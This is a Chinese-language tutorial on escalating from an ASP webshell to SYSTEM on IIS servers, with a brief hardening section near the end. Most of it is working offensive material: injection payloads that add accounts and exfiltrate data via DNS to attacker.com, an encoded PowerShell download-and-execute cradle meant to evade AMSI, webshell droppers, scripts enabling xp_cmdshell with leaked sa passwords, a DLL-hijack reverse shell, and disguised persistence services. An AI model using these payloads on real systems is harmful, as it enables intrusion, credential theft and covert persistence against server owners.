简介:ASP(Active Server Pages)是微软早期广泛使用的服务器端脚本技术,常因代码漏洞和配置缺陷成为渗透攻击的目标。本资料汇总了XXX团队在真实渗透过程中积累的ASP提权经验,涵盖命令注入、文件包含、身份验证缺陷、DLL注入、权限配置不当等多种提权场景,并提供稀缺的实战解决方案。通过深入分析如“一枝花的asp笔记”与“我的提权笔记”等内部记录,系统梳理了利用系统函数、代码注入、缓冲区溢出及零日漏洞进行权限提升的技术路径,适用于网络安全从业者提升攻防能力,强化Web应用安全防护体系。
ASP提权的深层逻辑:从命令执行到系统控制的完整路径
你有没有想过,为什么那些看似老旧、早就该被淘汰的ASP网站,反而成了黑客眼中的“黄金矿场”?🤔
明明是20年前的技术栈,却频频出现在APT攻击报告里;明明IIS已经迭代到8.0+,可 wscript.shell 依旧能在某些内网服务器上畅通无阻。这背后到底藏着什么玄机?
其实啊,问题从来不在技术本身有多先进,而在于 配置的惰性、运维的盲区和人性的疏忽 。一个运行了15年的政务系统,可能至今还用着默认的应用池账户;一份外包开发的后台管理程序,说不定就把 sa 密码写进了 conn.asp ……这些“低级错误”,恰恰是通往SYSTEM权限的最后一把钥匙。
今天,咱们不讲花哨的零日漏洞,也不炫技ROP链构造,就来聊聊——如何利用最基础的ASP特性,一步步完成从WebShell到系统控制的全过程。准备好了吗?🚀
一、ASP环境下的权限模型:谁在替你执行命令?
先问一个问题:当你上传一个ASP木马并执行 whoami 时,返回的结果是谁?
不是你的浏览器用户,也不是数据库账户,而是 IIS应用程序池(AppPool)所运行的身份账户 。这才是整个提权链条的起点。
权限继承机制详解 💡
ASP页面通过VBScript或JScript解释器运行,它们本身没有独立权限,完全依赖宿主进程——也就是 w3wp.exe (IIS工作进程)。这个进程以哪个Windows账户身份启动,决定了所有后续操作的权限边界。
常见的几种情况:
| AppPool Identity | 默认权限级别 | 是否可提权 |
|---|---|---|
ApplicationPoolIdentity | IIS APPPOOL\DefaultAppPool | 低,需横向移动 |
Network Service | NT AUTHORITY\NETWORK SERVICE | 中,常能启 xp_cmdshell |
Local System | NT AUTHORITY\SYSTEM | 直接SYSTEM! |
🚨 注意 :如果你发现当前用户是
SYSTEM,恭喜你,可以直接跳过90%的步骤了!
我们来看个真实场景:
<%
Set shell = Server.CreateObject("WScript.Shell")
output = shell.Exec("cmd /c whoami").StdOut.ReadAll()
Response.Write output
%>
如果输出是:
iis apppool\intranet-site
说明你在应用池沙箱里,权限受限;
但如果是:
nt authority\system
那整个系统已经是你的游乐场了。🎉
所以,渗透的第一步永远是—— 确认上下文权限 。
二、命令注入的艺术:不只是拼接字符串那么简单
很多人以为命令注入就是找个 Request() 参数往 cmd.exe 里塞东西,但真正的高手玩的是“节奏感”——怎么绕过检测、怎么确保回显、怎么让目标乖乖听话。
2.1 输入即战场:Request对象的信任危机
在ASP中,任何来自客户端的数据都是潜在威胁源。尤其是这几个入口:
-
Request.QueryString("id") -
Request.Form("name") -
Request.Cookies("session") -
Request.ServerVariables("HTTP_USER_AGENT")
别小看最后那个,很多日志分析功能会直接记录User-Agent,这就给了我们投毒的机会。
典型漏洞代码长这样:
Dim cmd, ip
ip = Request("target")
cmd = "ping -n 4 " & ip
shell.Run "cmd.exe /c " & cmd, 0, True
你以为加个 -n 4 就安全了?天真。😄
攻击者只需要提交:
?target=8.8.8.8 | net user hacker 123456 /add
就能完成账户创建。
更狠一点的payload:
?target=google.com & for /f %i in ('whoami') do nslookup %i.attacker.com
连结果都不用回显,DNS请求自动把信息带出来。
🔥 小贴士:内网不出网怎么办?试试
certutil -urlcache -split -f http://xxx下载文件,它不会触发传统出站连接审计!
2.2 回显方式大比拼:你怎么知道命令成功了?
不是每个系统都会给你打印结果。这时候就得靠技巧判断是否执行成功。
| 方法 | 原理 | 工具推荐 |
|---|---|---|
| 时间延迟法 | ping -n 15 127.0.0.1 拖慢响应 | Burp Suite + Python脚本 |
| DNS外带 | 利用 nslookup 将数据传出 | burpcollaborator.net |
| HTTP回调 | curl http://attacker/?data=$(whoami) | 自建监听服务 |
| 日志验证 | 查看IIS日志是否有异常请求 | Event Viewer |
举个实战例子,用Python自动化检测时间盲注:
import requests
import time
def check_blind_injection(url, param):
normal_url = f"{url}?{param}=google.com"
delay_url = f"{url}?{param}=google.com|%20ping%20-n%2011%20127.0.0.1"
# 测正常响应时间
start = time.time()
requests.get(normal_url)
normal_time = time.time() - start
# 测延迟响应时间
start = time.time()
requests.get(delay_url)
delay_time = time.time() - start
if delay_time - normal_time > 8:
print(f"✅ 确认存在盲注!延迟差:{delay_time-normal_time:.2f}s")
return True
else:
print("❌ 未发现明显延迟差异")
return False
# 使用示例
check_blind_injection("http://target/check.asp", "domain")
💡 提示:设置阈值为8秒以上,避免网络抖动误判。
三、COM组件滥用:ASP里的“超级武器库”
如果说命令注入是枪械,那COM组件就是核弹。一旦获得调用权限,几乎可以为所欲为。
最危险的几个ActiveX控件 ⚠️
| 组件名 | 功能 | 提权潜力 |
|---|---|---|
WScript.Shell | 执行命令、读注册表 | ⭐⭐⭐⭐⭐ |
ADODB.Stream | 写二进制文件 | ⭐⭐⭐⭐☆ |
Scripting.FileSystemObject | 文件读写 | ⭐⭐⭐⭐☆ |
MSXML2.XMLHTTP | 下载远程载荷 | ⭐⭐⭐⭐☆ |
Shell.Application | 调用Shell命令 | ⭐⭐⭐☆☆ |
3.1 WScript.Shell :万能命令执行器
<%
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c whoami > c:\inetpub\wwwroot\result.txt", 0, True
%>
参数说明:
- 0 :隐藏窗口(防止管理员看到黑框)
- True :等待命令执行完再继续(适合需要结果的场景)
但它容易被杀软盯上,名字太明显了。怎么办?换PowerShell!
shell.Run "powershell -nop -enc " & Base64Encode("IEX(New-Object Net.WebClient).DownloadString('http://x/p.ps1')"), 0, True
Base64编码后的内容完全看不出恶意意图,还能绕过AMSI扫描。
3.2 ADODB.Stream :无声的WebShell部署者
当不能直接上传 .asp 文件时,我们就自己造一个。
<%
Dim payload
payload = "<%@ Language=VBScript %><% Execute(Request(""cmd"")) %>"
Set stream = CreateObject("ADODB.Stream")
stream.Type = 2 ' 文本模式
stream.Charset = "utf-8"
stream.Open
stream.WriteText payload
stream.SaveToFile Server.MapPath("shell.asp"), 2 ' 覆盖写入
stream.Close
%>
从此以后,访问 /shell.asp?cmd=ipconfig 就可以执行任意命令了。
🛠️ 技巧:配合IIS解析漏洞(如
.cer映射ASP),甚至能让.jpg后缀的文件也被当作脚本执行!
3.3 FileSystemObject :潜伏式侦察兵
不想太张扬?那就悄悄扫描一遍目录结构。
<%
Set fso = CreateObject("Scripting.FileSystemObject")
Set folder = fso.GetFolder(Server.MapPath("../includes"))
For Each file In folder.Files
If LCase(fso.GetExtensionName(file.Name)) = "asp" Then
Set ts = file.OpenAsTextStream(1, 0)
content = ts.ReadAll()
ts.Close
If InStr(content, "conn.open") > 0 Or InStr(content, "ConnectionString") > 0 Then
Response.Write "[!] 敏感文件:" & file.Name & "<br>"
End If
End If
Next
%>
几分钟之内,就能定位到 conn.asp 这类关键配置文件,提取数据库账号密码。
四、文件包含与上传:另类RCE实现路径
有些系统做了严格过滤,不允许命令执行,但我们还有别的路可走。
4.1 日志投递 + 包含:经典的LFI提权套路
思路很简单:我把恶意代码注入日志文件,再想办法让它被当作脚本执行。
攻击流程图解:
graph TD
A[发送恶意User-Agent] --> B[IIS记录到access.log]
B --> C[内容含<% Execute(Request("cmd")) %>]
C --> D[触发Server.Execute加载日志]
D --> E[成功执行WebShell命令]
具体操作:
- 发送请求:
GET /index.asp HTTP/1.1
Host: target.com
User-Agent: <% Execute(Request("cmd")) %>
Connection: close
-
找到日志路径(通常是
C:\inetpub\logs\LogFiles\W3SVC1\u_exYYMMDD.log) -
触发包含:
http://target/page.asp?load=../../logs/W3SVC1/u_ex231005&cmd=whoami
只要这个 page.asp 有 Server.Execute(Request("load") & ".asp") 这种逻辑,就中招了。
✅ 防御建议:禁止日志目录被Web访问,启用IIS请求过滤拦截
<%标签。
4.2 %00 截断绕过扩展名限制
老版本IIS有个经典漏洞:空字节截断。
比如这段代码:
If Right(fileName, 4) = ".txt" Then
Server.Execute fileName
End If
看起来只能执行 .txt ,但攻击者传:
file=shell.asp%00.txt
底层API遇到 \0 就会停止解析,实际打开的是 shell.asp !
虽然Win2008之后基本修复了,但在一些老旧政企系统里仍然有效。
五、数据库层突破:从conn.asp到xp_cmdshell
很多攻防演练卡壳,是因为只盯着Web层,忘了后面还有一层更肥美的SQL Server。
5.1 明文连接串泄露的危害
看看这段典型的 conn.asp :
<%
connStr = "Provider=SQLOLEDB;Server=localhost;Database=mydb;UID=sa;PWD=P@ssw0rd123;"
%>
一旦你能读取这个文件,等于拿到了整个数据库的钥匙🔑。
接下来三步走战略:
-
远程连接MSSQL
bash osql -S 192.168.1.100 -U sa -P "P@ssw0rd123" -Q "SELECT @@VERSION" -
启用xp_cmdshell
sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -
执行系统命令
sql EXEC xp_cmdshell 'whoami';
Boom!💥 如果SQL Server是以 Local System 运行的,那你现在就是SYSTEM了!
5.2 自动化提权脚本(Python)
import pymssql
def escalate_via_sql(host, user, password):
try:
conn = pymssql.connect(server=host, user=user, password=password, database='master')
cursor = conn.cursor()
# 启用xp_cmdshell
cursor.execute("sp_configure 'show advanced options', 1")
cursor.execute("RECONFIGURE")
cursor.execute("sp_configure 'xp_cmdshell', 1")
cursor.execute("RECONFIGURE")
# 测试命令执行
cursor.execute("xp_cmdshell 'echo [+] Success! && hostname'")
results = cursor.fetchall()
for row in results:
print(row[0])
conn.close()
return True
except Exception as e:
print(f"[-] 失败:{e}")
return False
# 调用示例
escalate_via_sql("192.168.1.100", "sa", "MySecretPass!")
🧠 经验之谈:即使
xp_cmdshell被禁用,也可以尝试CLR注入、Agent Job等方式绕过。
六、服务提权与持久化:做一只安静的“寄生虫”
拿到临时Shell还不够,我们要的是长期控制权。
6.1 DLL搜索顺序劫持:静默注入特权进程
Windows加载DLL的顺序如下:
1. 可执行文件所在目录
2. 系统目录(System32)
3. Windows目录
4. 当前工作目录
5. PATH环境变量中的目录
如果某个服务以 LocalSystem 运行,且其安装目录允许写入,我们可以放一个同名恶意DLL进去。
例如,某监控软件缺个 msvcr100.dll ,我们就编译一个:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
WinExec("cmd /c powershell -e XXXXXXX", 0);
break;
}
return TRUE;
}
上传后重启服务,反向Shell自动上线。
6.2 计划任务与自启服务:不怕重启的后门
使用 schtasks 创建定时任务:
schtasks /create /tn "UpdateCheck" /tr "C:\Temp\payload.exe" /sc hourly /ru SYSTEM
或者注册Windows服务:
sc create BackdoorService binPath= "C:\Temp\rev.exe" start= auto obj= LocalSystem
sc start BackdoorService
🕵️♂️ 进阶技巧:伪装成
SysCoreUpdate之类的名字,描述写成“系统核心更新组件”,迷惑性更强。
七、“一枝花”笔记的精髓:三层跳板式提权哲学
圈子里流传一句话:“不懂‘一枝花’的提权笔记,不算真正入门。”
它的核心思想是什么? 分阶段跃迁,稳扎稳打 。
三段式攻击链 🔄
graph LR
A[第一跳: WebShell] -->|IUSR权限| B[第二跳: 数据库]
B -->|sa权限| C[第三跳: 系统]
C -->|SYSTEM权限| D[持久化驻留]
- 第一跳靠文件上传或注入;
- 第二跳靠读
conn.asp拿数据库凭证; - 第三跳靠
xp_cmdshell或DLL劫持完成最终提权。
每一步都建立在上一步的基础上,失败成本低,成功率高。
八、防御加固指南:企业应该如何应对?
说了这么多攻击手法,那作为防守方该怎么办?
8.1 最小权限原则
应用池不要用 LocalSystem ,创建专用低权限账户运行:
Set-ItemProperty IIS:\AppPools\DefaultAppPool\ -Name processModel.identityType -Value SpecificUser
Set-ItemProperty IIS:\AppPools\DefaultAppPool\ -Name processModel.userName -Value "svc_iisapp"
8.2 禁用危险COM组件
通过注册表封锁:
[HKEY_CLASSES_ROOT\WScript.Shell]
@=""
[HKEY_CLASSES_ROOT\Shell.Application]
@=""
或在IIS中添加请求过滤规则,拒绝 .vbs , .bat , web.config 等敏感路径。
8.3 启用行为监控与日志审计
重点关注以下事件ID:
- 4688 :新进程创建(警惕 powershell -enc )
- 4104 :PowerShell脚本块日志(需开启Module Logging)
- 5140 :网络共享访问(检测横向移动)
KQL查询示例:
SecurityEvent
| where EventID == 4688
| where Process contains "powershell" and CommandLine contains "IEX"
| project TimeGenerated, Account, Hostname, CommandLine
九、结语:真正的突破口,往往藏在“不可能出事”的地方
回顾这些年参与过的红队项目,真正让我们成功的,从来不是多么复杂的漏洞利用,而是那些 被忽视的配置细节、明文存储的密码、开放的写权限 。
就像一位老蓝队说过的话:“防火墙再强,也防不住管理员把密码贴在显示器上。”
所以啊,无论是做攻击还是搞防御,都要记住一点:
系统的安全性,不取决于最强的那一环,而取决于最弱的那一环。
下次当你面对一个古老的ASP站点时,别急着说“这玩意早过时了”。
也许,正是这份轻视,给了你翻盘的机会。😉
简介:ASP(Active Server Pages)是微软早期广泛使用的服务器端脚本技术,常因代码漏洞和配置缺陷成为渗透攻击的目标。本资料汇总了XXX团队在真实渗透过程中积累的ASP提权经验,涵盖命令注入、文件包含、身份验证缺陷、DLL注入、权限配置不当等多种提权场景,并提供稀缺的实战解决方案。通过深入分析如“一枝花的asp笔记”与“我的提权笔记”等内部记录,系统梳理了利用系统函数、代码注入、缓冲区溢出及零日漏洞进行权限提升的技术路径,适用于网络安全从业者提升攻防能力,强化Web应用安全防护体系。

被折叠的 条评论
为什么被折叠?



